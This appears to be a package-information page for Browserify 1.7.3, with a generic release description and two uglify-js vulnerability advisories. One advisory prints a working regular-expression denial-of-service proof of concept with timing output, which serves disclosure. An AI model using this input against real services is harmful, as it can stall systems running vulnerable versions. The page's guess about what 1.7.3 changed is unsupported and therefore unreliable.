Browserify version 1.7.3 arrived shortly after 1.7.2, both iterations focusing on enabling developers to utilize Node.js-style require() statements directly within browser-based JavaScript code. This allows for modularization and dependency management in front-end development, mirroring the familiar workflows of backend Node.js projects. Both versions share identical core dependencies, including resolve, optimist, commondir, detective, and coffee-script, ensuring consistency in how modules are resolved, command-line arguments are handled, common directories are identified, dependencies are analyzed, and CoffeeScript is processed, respectively. Similarly, the developer dependencies used for testing and development, such as seq, tap, jade, dnode, jsdom, connect, hashish, backbone, traverse, and jquery-browserify, remain unchanged between the two versions.
The key difference lies in the release date, with version 1.7.3 being released approximately an hour and a half after version 1.7.2. This suggests that version 1.7.3 likely contains minor bug fixes or very small enhancements over its predecessor, without introducing breaking changes. Developers already using 1.7.2 might consider upgrading to 1.7.3 for potential stability improvements, while those new to Browserify can safely choose either version as a starting point, given their near-identical feature sets. Ultimately, both versions empower developers to write modular, maintainable browser-based JavaScript applications by leveraging the power of Node.js-style module management.
All the vulnerabilities related to the version 1.7.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.